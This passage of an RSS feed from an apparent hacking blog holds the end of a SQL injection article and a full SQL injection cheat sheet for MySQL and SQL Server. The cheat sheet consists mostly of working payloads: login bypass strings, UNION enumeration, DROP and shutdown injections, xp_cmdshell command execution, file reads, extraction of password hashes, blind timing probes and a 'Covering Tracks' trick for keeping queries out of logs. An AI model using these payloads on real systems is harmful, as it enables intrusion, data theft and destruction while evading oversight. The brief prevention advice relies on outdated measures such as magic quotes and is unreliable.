An attacker can bypass this filter using &#8216; OR &#8216;foobar&#8217; = &#8216;foobar for example.</p>
<p>- Suppose that the application filter the keyword &#8220;admin&#8221;, to bypass this filter we have just<br />
to use some MySQL functions such as CONCAT or CHAR for example:<br />
union select * from usr where user = concat(&#8217;adm&#8217;,'in&#8217;)/*<br />
union select * from usr where user=char(97,100,109,105,110)/*</p>
<p>This is only a little part of &#8220;filter evasion techniques&#8221;. Different filters work<br />
differently, I can&#8217;t stay on this topic forever; I just gave to you some ideas.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  SQL Injection Prevention ]</p>
<p>How to prevent this type of attacks? Here below I just wanna write some<br />
tips that you can use to make your web application more secure.</p>
<p>1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini,<br />
and so on..) can help us with the magic quote functions. Other interesting functions can<br />
be setted to On; take a look inside this file.</p>
<p>Magic quotes can be used to escape automatically with backslash the user-supply single-quote (&#8217;),<br />
double-quote (&#8221;), backslash (\) and NULL characters.<br />
The 3 magic quotes directives are:</p>
<p>- magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.<br />
- magic_quotes_runtime, if enabled, most functions that return data from an external source, will have<br />
quotes escaped with a backslash.<br />
- magic_quotes_sybase, that escape the &#8216; with &#8221; instead of \&#8217;.</p>
<p>2.) deploy mod_security for example</p>
<p>3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate<br />
every user inputs.</p>
<p>4.) For integer input validate it by casting the variable<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Conclusion ]</p>
<p>Here we are, at the end of this paper. As said upon, I hope you enjoyed it and<br />
for any questions please mail me.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=55&ts=1280468345" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL CheatSheet</title>
		<link>http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/</link>
		<comments>http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/#comments</comments>
		<pubDate>Sun, 08 Mar 2009 06:24:51 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=10</guid>
		<description><![CDATA[
		
		
		
		Currently only for MySQL and Microsoft SQL Server. Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack.
* M : MySQL
* S : SQL [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "SQL+CheatSheet";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Currently only for MySQL and Microsoft SQL Server. Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences.Samples are provided to allow reader to get basic idea of a potential attack.* M : MySQL* S : SQL Server* O : Oracle* + : Possibly...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Currently only for MySQL and Microsoft SQL Server. Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences.</p>
<p><span id="more-10"></span></p>
<p>Samples are provided to allow reader to get basic idea of a potential attack.</p>
<p>* M : MySQL<br />
* S : SQL Server<br />
* O : Oracle<br />
* + : Possibly all other databases</p>
<p>Examples;<br />
(MS) MySQL and SQL Server etc.<br />
(M*S) Only in some versions of MySQL or special conditions see related note and SQL Server<br />
Syntax Reference with Sample Basic Attacks<br />
Ending / Commenting Out / Line Comments Queries<br />
Line Comments</p>
<p>(Comments rest of the query)</p>
<p>Line comments are generally useful for ignoring rest of the query so you don¡¯t have to deal with fixing rest of the query.</p>
<p>* &#8212; (SM)<br />
DROP sampletable;&#8211;</p>
<p>* # (M)<br />
DROP sampletable;#</p>
<p>Sample SQL Injection Attacks</p>
<p>* Username: admin&#8217;&#8211;<br />
* SELECT * FROM members WHERE username = &#8216;admin&#8217;&#8211;&#8217; AND password = &#8216;password&#8217;<br />
This is going to log you as admin user, because rest of the SQL query will be ignored.</p>
<p>Inline Comments</p>
<p>Comments rest of the query by not closing them or use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.</p>
<p>* /*Comment Here*/ (SM)<br />
o DROP/*comment*/sampletable<br />
o DR/**/OP/*bypass blacklisting*/sampletable<br />
o SELECT/*avoid-spaces*/password/**/FROM/**/Members</p>
<p>* /*! MYSQL Special SQL */ (M)<br />
This is a special comment syntax for MySQL. It¡¯s perfect for detecting MySQL version. If you put a code into this comments it¡¯s going to execute in MySQL. Also you can use this to execute some code only if the server is higher than supplied version.</p>
<p>SELECT /*!32302 1/0, */ 1 FROM tablename</p>
<p>Sample SQL Injection Attacks</p>
<p>* ID: /*!32302 10*/<br />
* ID: 10<br />
You will get the same response if the MySQL version is higher than 3.23.02</p>
<p>Stacking Queries</p>
<p>Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.</p>
<p>* ; (S)<br />
SELECT * FROM members; DROP members&#8211;</p>
<p>Ends a query and starts a new one.</p>
<p>*About MySQL and PHP;<br />
To clarify some issues;<br />
PHP &#8211; MySQL doesn&#8217;t support stacked queries, Java doesn&#8217;t support stacked queries (I&#8217;m sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it¡¯s not possible to execute second query in PHP-MySQL applications or maybe MySQL clients support this, not quite sure. Can someone clarify ?<br />
Sample SQL Injection Attacks</p>
<p>* ID: 10;DROP members &#8211;<br />
* SELECT * FROM products WHERE id = 10; DROP members&#8211;</p>
<p>This will run DROP members SQL sentence after normal SQL Query.<br />
If Statements</p>
<p>Get response based on a if statement is one of the key points of Blind SQL Injection and can be very useful to test simple stuff.<br />
MySQL If Statement</p>
<p>* IF(condition,true-part,false-part) (M)<br />
SELECT IF(1=1,&#8217;true&#8217;,'false&#8217;)</p>
<p>SQL Server If Statement</p>
<p>* IF contidion true-part ELSE false-part (S)<br />
IF (1=1) SELECT &#8216;true&#8217; ELSE SELECT &#8216;false&#8217;</p>
<p>Sample SQL Injection Attacks</p>
<p>if ((select user) = &#8217;sa&#8217; OR (select user) = &#8216;dbo&#8217;) select 1 else select 1/0 (S)<br />
This will throw an divide by zero error if current logged user is not &#8220;sa&#8221; or &#8220;dbo&#8221;.<br />
Using Integers</p>
<p>Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.</p>
<p>* 0xHEXNUMBER (SM)<br />
You can write hex like these;</p>
<p>SELECT CHAR(0&#215;66) (S)<br />
SELECT 0&#215;5045 (this is not an integer it will be a string from Hex) (M)<br />
SELECT 0&#215;50 + 0&#215;45 (this is integer now!) (M)</p>
<p>String Operations</p>
<p>String related operations. This can be quite useful to build up injection which are not using any quotes, bypass any other black listing or determine database.<br />
String Concatenation</p>
<p>* + (S)<br />
SELECT login + &#8216;-&#8217; + password FROM members</p>
<p>* || (*MO)<br />
SELECT login || &#8216;-&#8217; || password FROM members</p>
<p>*About MySQL `||`;<br />
If MySQL is running in ANSI mode it¡¯s going to work but otherwise MySQL accept it as `logical operator` it¡¯ll return 0. Better way to do it is using CONCAT() function in MySQL.</p>
<p>* CONCAT(str1, str2, str3, &#8230;) (M)<br />
Concatenate supplied strings.<br />
SELECT CONCAT(login, password) FROM members</p>
<p>Strings without Quotes</p>
<p>These are some direct ways to using strings but it¡¯s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.</p>
<p>* 0&#215;457578 (M) &#8211; Hex Representation of string<br />
SELECT 0&#215;457578<br />
This will be selected as string in MySQL.</p>
<p>* Using CONCAT() in MySQL<br />
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)<br />
This will return ¡®KLM¡¯.</p>
<p>* SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)<br />
This will return ¡®KLM¡¯.</p>
<p>String Modification &amp; Related</p>
<p>* ASCII() (SM)<br />
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.</p>
<p>SELECT ASCII(&#8217;a')</p>
<p>* CHAR() (SM)<br />
Convert an integer of ASCII .</p>
<p>SELECT CHAR(64)</p>
<p>UNION ¨C Fixing Language Issues</p>
<p>While exploiting union injections sometimes you will get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to bypass this problem. It&#8217;s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.</p>
<p>* SQL Server (S)<br />
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one &#8211; check out SQL Server documentation.</p>
<p>* MySQL (M)<br />
Hex() for every possible issue</p>
<p>Login Screen (SMO+)<br />
SQL Injection 101, Login tricks</p>
<p>* admin&#8217; &#8211;<br />
* admin&#8217; #<br />
* admin&#8217;/*<br />
* &#8216; or 1=1&#8211;<br />
* &#8216; or 1=1#<br />
* &#8216; or 1=1/*<br />
* &#8216;) or &#8216;1&#8242;=&#8217;1&#8211;<br />
* &#8216;) or (&#8217;1&#8242;=&#8217;1&#8211;<br />
* etc&#8230;.</p>
<p>* Login as different user (SM*)<br />
&#8216; UNION SELECT 1, &#8216;anotheruser&#8217;, &#8216;doesnt matter&#8217;, 1&#8211;</p>
<p>*Old versions of MySQL doesn&#8217;t support union queries<br />
Error Based &#8211; Find Columns Names<br />
Finding Column Names with HAVING BY &#8211; Error Based (S)</p>
<p>In the same order,</p>
<p>* &#8216; HAVING 1=1 &#8211;<br />
* &#8216; GROUP BY table.columnfromerror1 HAVING 1=1 &#8211;<br />
* &#8216; GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 &#8211;<br />
* &#8216; GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 &#8212; and so on<br />
* If you are not getting any more error then it&#8217;s done.</p>
<p>Finding how many columns in SELECT query by ORDER BY (MSO+)</p>
<p>Finding column number by ORDER BY can speed up the UNION SQL Injection process.</p>
<p>* ORDER BY 1&#8211;<br />
* ORDER BY 2&#8211;<br />
* ORDER BY N&#8211; so on<br />
* Keep going until get an error. Error means you found the number of selected columns.</p>
<p>Data types, UNION, etc.<br />
Hints,</p>
<p>* Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.<br />
* To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.<br />
* Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.<br />
o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)</p>
<p>Finding Column Type</p>
<p>* &#8216; union select sum(columntofind) from users&#8211; (S)<br />
Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.</p>
<p>If you are not getting error it means column is numeric.</p>
<p>* Also you can use CAST() or CONVERT()<br />
o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL&#8211;</p>
<p>* 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 ¨C-<br />
No Error &#8211; Syntax is right. MS SQL Server Used. Proceeding.</p>
<p>* 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 ¨C-<br />
No Error ¨C First column is an integer.</p>
<p>* 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 &#8211;<br />
Error! ¨C Second column is not an integer.</p>
<p>* 11223344) UNION SELECT 1,¡¯2¡¯,NULL,NULL WHERE 1=2 ¨C-<br />
No Error ¨C Second column is a string.</p>
<p>* 11223344) UNION SELECT 1,¡¯2¡¯,3,NULL WHERE 1=2 ¨C-<br />
Error! ¨C Third column is not an integer. &#8230;</p>
<p>Microsoft OLE DB Provider for SQL Server error &#8216;80040e07&#8242;<br />
Explicit conversion from data type int to image is not allowed.</p>
<p>You¡¯ll get convert() errors before union target errors ! So start with convert() then union<br />
Simple Insert (MSO+)<br />
&#8216;; insert into users values( 666, &#8216;attacker&#8217;, &#8216;foobar&#8217;, 0xffff )&#8211;<br />
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes</p>
<p>@@version (MS)<br />
Version of database and more details for SQL Server. It&#8217;s a constant. You can just select it like any other column, you don&#8217;t need to supply table name. Also you can use insert, update statements or in functions.</p>
<p>INSERT INTO members(id, user, pass) VALUES(1, &#8221;+SUBSTRING(@@version,1,10) ,10)<br />
Bulk Insert (S)</p>
<p>Insert a file content to a table. If you don&#8217;t know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.</p>
<p>1. Create table foo( line varchar(8000) )<br />
2. bulk insert foo from &#8216;c:inetpubwwwrootlogin.asp&#8217;<br />
3. Drop temp table, and repeat for another file.</p>
<p>BCP (S)</p>
<p>Write text file. Login Credentials are required to use this function.<br />
bcp &#8220;SELECT * FROM test..foo&#8221; queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar<br />
VBS, WSH in SQL Server (S)</p>
<p>You can use VBS, WSH scripting in SQL Server because of ActiveX support.</p>
<p>declare @o int<br />
exec sp_oacreate &#8216;wscript.shell&#8217;, @o out<br />
exec sp_oamethod @o, &#8216;run&#8217;, NULL, &#8216;notepad.exe&#8217;<br />
Username: &#8216;; declare @o int exec sp_oacreate &#8216;wscript.shell&#8217;, @o out exec sp_oamethod @o, &#8216;run&#8217;, NULL, &#8216;notepad.exe&#8217; &#8211;<br />
Executing system commands, xp_cmdshell (S)</p>
<p>Well known trick, By default it&#8217;s disabled in SQL Server 2005. You need to have admin access.</p>
<p>EXEC master.dbo.xp_cmdshell &#8216;cmd.exe dir c:&#8217;</p>
<p>Simple ping check (configure your firewall or sniffer to identify request before launch it),</p>
<p>EXEC master.dbo.xp_cmdshell &#8216;ping &lt;ip address&gt;&#8217;</p>
<p>You can not read results directly from error or union or something else.<br />
Some Special Tables in SQL Server (S)</p>
<p>* Error Messages<br />
master..sysmessages</p>
<p>* Linked Servers<br />
master..sysservers</p>
<p>* Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )<br />
SQL Server 2000: masters..sysxlogins<br />
SQL Server 2005 : sys.sql_logins</p>
<p>More Stored Procedures (S)<br />
Stored Procedures</p>
<p>1. Cmd Execute (xp_cmdshell)<br />
exec master..xp_cmdshell &#8216;dir&#8217;</p>
<p>2. Registry Stuff (xp_regread)<br />
1. xp_regaddmultistring<br />
2. xp_regdeletekey<br />
3. xp_regdeletevalue<br />
4. xp_regenumkeys<br />
5. xp_regenumvalues<br />
6. xp_regread<br />
7. xp_regremovemultistring<br />
8. xp_regwrite<br />
exec xp_regread HKEY_LOCAL_MACHINE, &#8216;SYSTEMCurrentControlSetServiceslanmanserverparame  ters&#8217;, &#8216;nullsessionshares&#8217;<br />
exec xp_regenumvalues HKEY_LOCAL_MACHINE, &#8216;SYSTEMCurrentControlSetServicessnmpparametersvali  dcommunities&#8217;</p>
<p>3. Managing Services (xp_servicecontrol)<br />
4. Medias (xp_availablemedia)<br />
5. ODBC Resources (xp_enumdsn)<br />
6. Login mode (xp_loginconfig)<br />
7. Creating Cab Files (xp_makecab)<br />
8. Domain Enumeration (xp_ntsec_enumdomains)<br />
9. Process Killing (need PID) (xp_terminate_process)<br />
10. Add new procedure (virtually you can execute whatever you want)<br />
sp_addextendedproc ¡®xp_webserver¡¯, ¡®c:tempx.dll¡¯<br />
exec xp_webserver<br />
11. Write text file to a UNC or an internal path (sp_makewebtask)</p>
<p>MSSQL Bulk Notes</p>
<p>SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/</p>
<p>DECLARE @result int; EXEC @result = xp_cmdshell &#8216;dir *.exe&#8217;;IF (@result = 0) SELECT 0 ELSE SELECT 1/0</p>
<p>HOST_NAME()<br />
IS_MEMBER (Transact-SQL)<br />
IS_SRVROLEMEMBER (Transact-SQL)<br />
OPENDATASOURCE (Transact-SQL)</p>
<p>INSERT tbl EXEC master..xp_cmdshell OSQL /Q&#8221;DBCC SHOWCONTIG&#8221;</p>
<p>OPENROWSET (Transact-SQL) &#8211; <a href="http://msdn2.microsoft.com/en-us/library/ms190312.aspx" target="_blank">http://msdn2.microsoft.com/en-us/library/ms190312.aspx</a></p>
<p>You can not use sub selects in SQL Server Insert queries.<br />
SQL Injection in LIMIT (M) or ORDER (MSO)</p>
<p>SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,&#8217;x'/*,10 ;</p>
<p>If injection is in second limit you can comment it out or use in your union injection<br />
Shutdown SQL Server (S)</p>
<p>When you really pissed off, &#8216;;shutdown &#8211;<br />
Finding Database Structure in SQL Server (S)<br />
Getting User defined Tables</p>
<p>SELECT name FROM sysobjects WHERE xtype = &#8216;U&#8217;<br />
Getting Column Names</p>
<p>SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = &#8216;tablenameforcolumnnames&#8217;)<br />
Moving records (S)</p>
<p>* Modify WHERE and use NOT IN or NOT EXIST,<br />
&#8230; WHERE users NOT IN (&#8217;First User&#8217;, &#8216;Second User&#8217;)<br />
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) &#8212; very good one</p>
<p>* Using Dirty Tricks<br />
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id&lt;=o.id) AS x, name from sysobjects o) as p where p.x=3) as int</p>
<p>Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=&#8217;U&#8217; and i.id&lt;=o.id) AS x, name from sysobjects o WHERE o.xtype = &#8216;U&#8217;) as p where p.x=21</p>
<p>Fast way to extract data from Error Based SQL Injections in SQL Server (S)<br />
&#8216;;BEGIN DECLARE @rt varchar(8000) SET @rd=&#8217;:&#8217; SELECT @rd=@rd+&#8217; &#8216;+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = &#8216;MEMBERS&#8217;) AND name&gt;@rd SELECT @rd AS rd into TMP_SYS_TMP end;&#8211;</p>
<p>Detailed Article : Fast way to extract data from Error Based SQL Injections<br />
Check out references for Advanced SQL Injection by Chris Anley.<br />
Waiting For Blind SQL Injections</p>
<p>First of all use this if it&#8217;s really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.<br />
WAIT FOR DELAY (S)</p>
<p>This is just like sleep, wait for spesified time. CPU safe way to make database wait.</p>
<p>WAITFOR DELAY &#8216;0:0:10&#8242;&#8211;</p>
<p>Also you can use fractions like this,</p>
<p>WAITFOR DELAY &#8216;0:0:0.51&#8242;<br />
Real World Samples</p>
<p>* Are we &#8217;sa&#8217; ?<br />
if (select user) = &#8217;sa&#8217; waitfor delay &#8216;0:0:10&#8242;</p>
<p>BENCHMARK (M)</p>
<p>Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!</p>
<p>BENCHMARK(howmanytimes, do this)<br />
Real World Samples</p>
<p>* Are we root ? woot!<br />
IF EXISTS (SELECT * FROM users WHERE username = &#8216;root&#8217;) BENCHMARK(1000000000,MD5(1))</p>
<p>* Check Table exist in MySQL<br />
IF (SELECT * FROM login) BENCHMARK(1000000000,MD5(1))</p>
<p>Covering Tracks<br />
SQL Server -sp_password log bypass (S)</p>
<p>SQL Server don&#8217;t log queries which includes sp_password for security reasons(!). So if you add &#8211;sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it&#8217;s possible)<br />
Clear SQL Injection Tests</p>
<p>These tests are simply good for blind sql injection and silent attacks.</p>
<p>1. product.asp?id=4 (SMO)<br />
1. product.asp?id=5-1<br />
2. product.asp?id=4 OR 1=1</p>
<p>2. product.asp?name=Book<br />
1. product.asp?name=Bo¡¯+¡¯ok<br />
2. product.asp?name=Bo¡¯ || ¡¯ok (OM)<br />
3. product.asp?name=Book¡¯ OR ¡®x¡¯=¡¯x</p>
<p>Some Extra MySQL Notes</p>
<p>* Sub Queries are working only MySQL 4.1+<br />
* Users<br />
o SELECT User,Password FROM mysql.user;<br />
* SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=&#8217;2&#8242;,BENCHMARK(100000,SH A1(1)),0) User,Password FROM mysql.user WHERE User = ¡®root¡¯;<br />
* SELECT &#8230; INTO DUMPFILE<br />
o Write query into a new file (can not modify existing files)<br />
* UDF Function<br />
o create function LockWorkStation returns integer soname &#8216;user32&#8242;;<br />
o select LockWorkStation();<br />
o create function ExitProcess returns integer soname &#8216;kernel32&#8242;;<br />
o select exitprocess();<br />
* SELECT USER();<br />
* SELECT password,USER() FROM mysql.user;<br />
* First byte of admin hash<br />
o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;<br />
* Read File<br />
o query.php?user=1+union+select+load_file(0&#215;63&#8230;),1  ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1  ,1,1,1,1<br />
* MySQL Load Data inifile<br />
o By default it¡¯s not avaliable !<br />
+ create table foo( line blob );<br />
load data infile &#8216;c:/boot.ini&#8217; into table foo;<br />
select * from foo;<br />
* More Timing in MySQL<br />
* select benchmark( 500000, sha1( &#8216;test&#8217; ) );<br />
* query.php?user=1+union+select+benchmark(500000,sha 1 (0&#215;414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1<br />
* select if( user() like &#8216;root@%&#8217;, benchmark(100000,sha1(&#8217;test&#8217;)), &#8216;false&#8217; );<br />
Enumeration data, Guessed Brute Force<br />
+ select if( (ascii(substring(user(),1,1)) &gt;&gt; 7) &amp; 1, benchmark(100000,sha1(&#8217;test&#8217;)), &#8216;false&#8217; );</p>
<p>Potentially Usefull Functions</p>
<p>MD5()<br />
SHA1()<br />
CHAR()<br />
PASSWORD()<br />
ENCODE()<br />
COMPRESS()<br />
BENCHMARK()<br />
ROW_COUNT()<br />
SCHEMA()<br />
VERSION()<br />
Second Order SQL Injections</p>
<p>Basicly you put an SQL Injection to some place and expect it&#8217;s unfiltered in another action. This is common hidden layer problem.</p>
<p>Name : &#8216; + (SELECT TOP 1 password FROM users ) + &#8216;<br />
Email : <a href="mailto:xx@xx.com">xx@xx.com</a></p>
<p>If application is using name field in an unsafe steored procedure or function, process etc. then it will insert first users password as your name etc.<br />
References</p>
<p>Since these notes collected from several different resources within several years and personal experiences may I missed some references. If you believe I missed yours or someone else then drop me an email, I&#8217;ll update it as soon as possible.</p>
<p>* Lots of Stuff<br />
o Advanced SQL Injection In SQL Applications, Chris Anley<br />
o More Advanced SQL Injection In SQL Applications, Chris Anley<br />
o Blindfolded SQL Injection, Ofer Maor ¨C Amichai Shulman<br />
o Hackproofing MySQL, Chris Anley<br />
o Database Hacker&#8217;s Handbook, David Litchfield, Chris Anley, John Heasman, Bill Grindlay<br />
o Upstairs Team!</p>
<p>* MSSQL Related<br />
o MSSQL Operators &#8211; <a href="http://msdn2.microsoft.com/en-us/library/aa276846%28SQL.80%29.aspx" target="_blank">http://msdn2.microsoft.com/en-us/lib&#8230;6(SQL.80).aspx</a><br />
o Transact-SQL Reference &#8211; <a href="http://msdn2.microsoft.com/en-us/library/aa299742%28SQL.80%29.aspx" target="_blank">http://msdn2.microsoft.com/en-us/lib&#8230;2(SQL.80).aspx</a><br />
o String Functions (Transact-SQL) &#8211; <a href="http://msdn2.microsoft.com/en-us/library/ms181984.aspx" target="_blank">http://msdn2.microsoft.com/en-us/library/ms181984.aspx</a><br />
o List of MSSQL Server Collation Names &#8211; <a href="http://msdn2.microsoft.com/en-us/library/ms180175.aspx" target="_blank">http://msdn2.microsoft.com/en-us/library/ms180175.aspx</a><br />
o MSSQL Server 2005 Login Information and some other functions : Sumit Siddharth</p>
<p>* MySQL Related<br />
o Comments : <a href="http://dev.mysql.com/doc/" target="_blank">http://dev.mysql.com/doc/</a><br />
o Control Flows &#8211; <a href="http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html" target="_blank">http://dev.mysql.com/doc/refman/5.0/&#8230;functions.html</a><br />
o MySQL Gotchas &#8211; <a href="http://sql-info.de/mysql/gotchas.htm" target="_blank">http://sql-info.de/mysql/gotchas.htm</a></p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=10&ts=1280468345" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
